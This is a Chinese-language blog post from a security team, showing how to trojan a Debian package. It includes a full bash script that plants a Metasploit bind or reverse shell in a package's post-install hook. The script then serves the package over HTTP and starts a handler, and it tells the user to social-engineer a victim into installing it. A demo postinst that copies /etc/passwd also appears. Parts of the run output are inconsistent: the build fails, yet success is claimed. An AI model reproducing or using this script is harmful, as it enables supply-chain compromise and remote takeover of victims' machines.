

## deb package trojan using Metasploit payload

2012-07-12 20:20:06 By admin

### 关于deb

DEB是Debian软件包格式的文件扩展名，跟Debian的命名一样，DEB也是因Debra Murdock而得名，她是Debian创始人Ian Murdock的太太。Debian包是Unixar的标准归档，将包文件信息以及包内容，经过gzip和tar打包而成。处理这些包的经典程序是dpkg，经常是通过Debian的apt-get来运作

我们先来安装一个软件 axel

```
root@Dis9Team:~# apt-get install axel
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  axel
0 upgraded, 1 newly installed, 0 to remove and 305 not upgraded.
Need to get 51.5 kB of archives.
After this operation, 221 kB of additional disk space will be used.
Get:1 http://mirrors.163.com/ubuntu/ natty/universe axel i386 2.4-1 [51.5 kB]
Fetched 51.5 kB in 3s (14.5 kB/s)
Selecting previously deselected package axel.
(Reading database ... 161355 files and directories currently installed.)
Unpacking axel (from .../archives/axel_2.4-1_i386.deb) ...
Processing triggers for man-db ...
Setting up axel (2.4-1) ...
root@Dis9Team:~#
```

通过搜索你的源中本地储存来通过HTTP获得，本地安装并且储存在本地文件夹里面

```
root@Dis9Team:~# ls /var/cache/apt/archives/axel*
/var/cache/apt/archives/axel_2.4-1_i386.deb
root@Dis9Team:~#
```

加入后门 我们可以再其中绑入后门，我们能执行伪造信息

```
root@Dis9Team:/tmp# dpkg -x /var/cache/apt/archives/axel_2.4-1_i386.deb /tmp/axel
root@Dis9Team:/tmp# cd axel/
```

```
root@Dis9Team:/tmp/axel# ls
etc usr
root@Dis9Team:/tmp/axel#
root@Dis9Team:/tmp/axel# mkdir DEBIAN
root@Dis9Team:/tmp/axel# cd DEBIAN/
root@Dis9Team:/tmp/axel/DEBIAN# vi control
root@Dis9Team:/tmp/axel/DEBIAN# cat control
Package: axel
Version: 0.1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: Download tools
root@Dis9Team:/tmp/axel/DEBIAN#
```

写入我们的后门

```
root@Dis9Team:/tmp/axel/DEBIAN# cat postinst
#!/bin/sh
sudo cat /etc/passwd > /tmp/1
root@Dis9Team:/tmp/axel/DEBIAN#
```

制作DEB包

```
root@Dis9Team:/tmp/axel/DEBIAN# chmod 775 postinst
root@Dis9Team:/tmp/axel/DEBIAN# dpkg-deb --build /tmp/axel
dpkg-deb: building package `axel' in `/tmp/axel.deb'.
root@Dis9Team:/tmp/axel/DEBIAN# file axel.deb
axel.deb: Debian binary package (format 2.0)
```

然后发送给Helen,当Helen运行以后我能就可以控制他的电脑  
我们运行下试试

```
root@Dis9Team:/tmp/axel/DEBIAN# dpkg -i /tmp/axel.deb
(Reading database ... 161419 files and directories currently installed.)
Preparing to replace axel 0.1 (using /tmp/axel.deb) ...
Unpacking replacement axel ...
Setting up axel (0.1) ...
sudo: unable to resolve host Dis9Team
Processing triggers for man-db ...
```

运行成功了。我们包含的命令是 `sudo cat /etc/passwd > /tmp/1` 看下这个文件

```
root@Dis9Team:/tmp/axel/DEBIAN# cat /tmp/1
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
avahi-autoipd:x:103:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:104:109:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
usbmux:x:105:46:usbmux daemon,,,:/home/usbmux:/bin/false
gdm:x:106:114:Gnome Display Manager:/var/lib/gdm:/bin/false
speech-dispatcher:x:107:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/bin/false
pulse:x:109:116:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:110:119:RealtimeKit,,,:/proc:/bin/false
hplip:x:111:7:HPLIP system user,,,:/var/run/hplip:/bin/false
saned:x:112:121::/home/saned:/bin/false
brk:x:1000:1000:Dis9Team,,,:/home/brk:/bin/bash
postgres:x:113:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
smmta:x:114:124:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:115:125:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
root@Dis9Team:/tmp/axel/DEBIAN#
```

说明成功执行了命令

自动后门

可以捆绑木马吗？ 能的，一个自动脚本

```
#!/bin/bash
```

```
# bash script to generate a Debian (.deb) package trojan using Metasploit payload
# Author: Aaron Hine - @redmeat_uk
# Date: 31-01-2010

# Disclaimer: this script should be used for educational purposes. You should obtain permission b
efore running this against an individual or company.
# The author is not liable for any illegal use of this script.

scriptname=`basename "$0"`

if [[ $UID -ne 0 ]]; then
    echo "${scriptname} must be run as root"
    exit 1
fi

#
echo
echo "#####"
####"
echo "Script to generate a Debian package trojan using a Metasploit payload"
echo "#####"
####"
echo

# change these vars to suit your needs
msfdir="/opt/metasploit3/msf3"
tmpdir="/tmp/evildeb"
workdir="$tmpdir/work"

# prompt for package name and setup dirs
echo "Please enter the name of the APT package you wish to trojan:"
echo "Use apt-cache search for ideas :)"
echo
read package
apt-get --download-only install $package
echo
mkdir $tmpdir
mkdir $workdir
mv /var/cache/apt/archives/$package* $tmpdir
mkdir $workdir/DEBIAN
dpkg -x $tmpdir/$package* $workdir
apt-cache show $package > $workdir/DEBIAN/control
cat $workdir/DEBIAN/control | sed '/^Original-Maintainer/d' | sed '/^SHA/d' > $workdir/DEBIAN/c
ontrol2
mv $workdir/DEBIAN/control2 $workdir/DEBIAN/control
echo
```

```
echo "Please choose your Metasploit payload"
echo "-----"
echo
echo "1. bind tcp"
echo "2. reverse tcp"
echo
echo "press number and hit return:"
read choice

if [ "$choice" -eq 1 ]; then
    payload="linux/x86/shell/bind_tcp"
    echo "Enter IP:"
    read rhostIP
    echo "Enter port:"
    read bindport
    options="RHOST=$rhostIP LPORT=$bindport"
else
    if [ "$choice" -eq 2 ]; then
        payload="linux/x86/shell/reverse_tcp"
        echo "Enter IP:"
        read lhostIP
        echo "Enter port:"
        read revport
        options="LHOST=$lhostIP LPORT=$revport"
    fi
fi

echo
echo "Please enter the filename for the Metasploit payload:"
read filename
echo

cd $workdir
binary=`find . -executable -type f | grep $package | sed -e 's/^\.//'`
trojan="$filename"

echo "Making post-install script..."
echo

echo "#!/bin/sh" > $workdir/DEBIAN/postinst
echo "" > > $workdir/DEBIAN/postinst
echo "" > > $workdir/DEBIAN/postinst
echo "sudo chmod 2755 $binary$trojan && $binary$trojan & $binary &" > > $workdir/DEBIAN/postinst

trojan2=`echo $binary$trojan | sed -e 's/^\\/'`

echo "Thanks - generating your payload..."
$msfdir/msfpayload $payload $options X > $workdir/$trojan2
```

```
echo
```

```
cd $workdir/DEBIAN
chmod 755 postinst
dpkg-deb --build $workdir
cd $tmpdir
```

```
echo
echo "Please enter your webroot directory:"
read webroot
mv $tmpdir/work.deb $webroot/$package.deb
rm -rf $tmpdir
```

```
echo
echo "Trojan'd $package.deb created and placed in $webroot"
echo
```

```
webserver="python -m SimpleHTTPServer 80"
```

```
echo "Would you like a Python webserver ? (y/n) :"
read svr
echo
```

```
if [[ "$svr" == "y" | | "$svr" == "Y" ]]; then
    cd $webroot
    $webserver &
    echo
else
    echo "Fair nuff, setup your own webserver :)"
    echo
fi
```

```
sleep 1
```

```
echo "Would you like me to setup a metasploit handler ? (y/n) :"
echo
read handler
echo
echo "In the meantime, social engineer your victim in to browsing to your package"
echo "and get them to install it and wait for your root shell > )"
echo
```

```
if [[ "$handler" == "y" | | "$handler" == "Y" ]]; then
    echo
    $msfdir/msfcli exploit/multi/handler payload=$payload $options E
else
    echo "Fair nuff, setup your own handler :)"
    echo
fi
```

保存运行

```
root@Dis9Team:/tmp# ./deb_door.sh
```

```
#####  
Script to generate a Debian package trojan using a Metasploit payload  
#####
```

Please enter the name of the APT package you wish to trojan:  
Use apt-cache search for ideas :)

```
axel  
Reading package lists... Done  
Building dependency tree  
Reading state information... Done  
The following packages will be upgraded:  
  axel  
1 upgraded, 0 newly installed, 0 to remove and 305 not upgraded.  
Need to get 51.5 kB of archives.  
After this operation, 221 kB of additional disk space will be used.  
Get:1 http://mirrors.163.com/ubuntu/ natty/universe axel i386 2.4-1 [51.5 kB]  
Fetched 51.5 kB in 3s (15.2 kB/s)  
Download complete and in download only mode
```

```
mkdir: cannot create directory `/tmp/evildeb': File exists  
mkdir: cannot create directory `/tmp/evildeb/work': File exists  
mkdir: cannot create directory `/tmp/evildeb/work/DEBIAN': File exists
```

Please choose your Metasploit payload

-----

1. bind tcp
2. reverse tcp

press number and hit return:

```
1  
Enter IP:  
5.5.5.2  
Enter port:  
4444
```

Please enter the filename for the Metasploit payload:

Making post-install script...

Thanks - generating your payload...

Created by msfpayload (<http://www.metasploit.com>).

Payload: linux/x86/shell/bind\_tcp

Length: 63

Options: {"RHOST"=> "5.5.5.2", "LPORT"=> "4444"}

dpkg-deb: error: parsing file '/tmp/evildeb/work/DEBIAN/control' near line 22 package 'axel':  
value for `status' field not allowed in this context

Please enter your webroot directory:

mv: cannot stat `/tmp/evildeb/work.deb': No such file or directory

Trojan'd axel.deb created and placed in

Would you like a Python webserver ? (y/n) :

n

Fair nuff, setup your own webserver :)

Would you like me to setup a metasploit handler ? (y/n) :

n

木马保存在/tmp/evildeb/work.deb

root@Dis9Team:/tmp# cd evildeb/

root@Dis9Team:/tmp/evildeb# tree

```
.
├── axel_2.4-1_i386.deb
└── work
    ├── DEBIAN
    │   └── control
    ├── etc
    │   └── axelrc
    ├── usr
    │   ├── bin
    │   │   └── axel
    │   └── share
    │       ├── doc
    │       │   └── axel
    │       │       ├── API.gz
    │       │       ├── changelog.Debian.gz
    │       │       ├── changelog.gz
    │       │       ├── copyright
    │       │       ├── CREDITS
    │       │       ├── examples
    │       │       │   └── axelrc.example
    │       │       ├── README
    │       │       └── README.source
```



```
├── locale
│   ├── de
│   │   ├── LC_MESSAGES
│   │   └── axel.mo
│   ├── nl
│   │   ├── LC_MESSAGES
│   │   └── axel.mo
│   ├── ru
│   │   ├── LC_MESSAGES
│   │   └── axel.mo
│   └── zh_CN
│       ├── LC_MESSAGES
│       └── axel.mo
└── man
    ├── man1
    │   ├── axel.1.gz
    │   └── zh_CN
    │       ├── man1
    │       └── axel.1.gz
```

22 directories, 18 files

root@Dis9Team:/tmp/evildeb#

### 查看它信息

root@Dis9Team:/tmp/evildeb# cat work/DEBIAN/control

Package: axel

Priority: optional

Section: universe/web

Installed-Size: 216

Maintainer: Ubuntu MOTU Developers

Architecture: i386

Version: 2.4-1

Depends: libc6 (>= 2.4)

Filename: pool/universe/a/axel/axel\_2.4-1\_i386.deb

Size: 51456

MD5sum: e5a4e5a1741cd21919a46766e24e449b

Description: light download accelerator - console version

Axel tries to accelerate the downloading process by using multiple connections for one file. It can also use multiple mirrors for one download. Axel tries to be as light as possible (25-30k in binary form), so it might be useful as a wget clone on byte-critical systems.

Homepage: <http://axel.alioth.debian.org/>

Bugs: <https://bugs.launchpad.net/ubuntu/+filebug>

Origin: Ubuntu

```
root@Dis9Team:/tmp/evildeb#
```

伪装的不错 安装它

```
root@Dis9Team:/tmp/evildeb# dpkg -i axel_2.4-1_i386.deb
Selecting previously deselected package axel.
(Reading database ... 161401 files and directories currently installed.)
Unpacking axel (from axel_2.4-1_i386.deb) ...
Setting up axel (2.4-1) ...
Processing triggers for man-db ...
root@Dis9Team:/tmp/evildeb#
```

查看本地端口

```
root@Dis9Team:/var/www# netstat -antp | grep 4444
tcp    0    0 0.0.0.0:4444    0.0.0.0:*      LISTEN    2975/axelaxel
root@Dis9Team:/var/www#
```

### 版权声明：

本站遵循 [署名-非商业性使用-相同方式共享 2.5](#) 共享协议。  
转载请注明转自[Dis9 Team](#)并标明URL。  
本文链接 <http://www.dis9.com/?p=4473>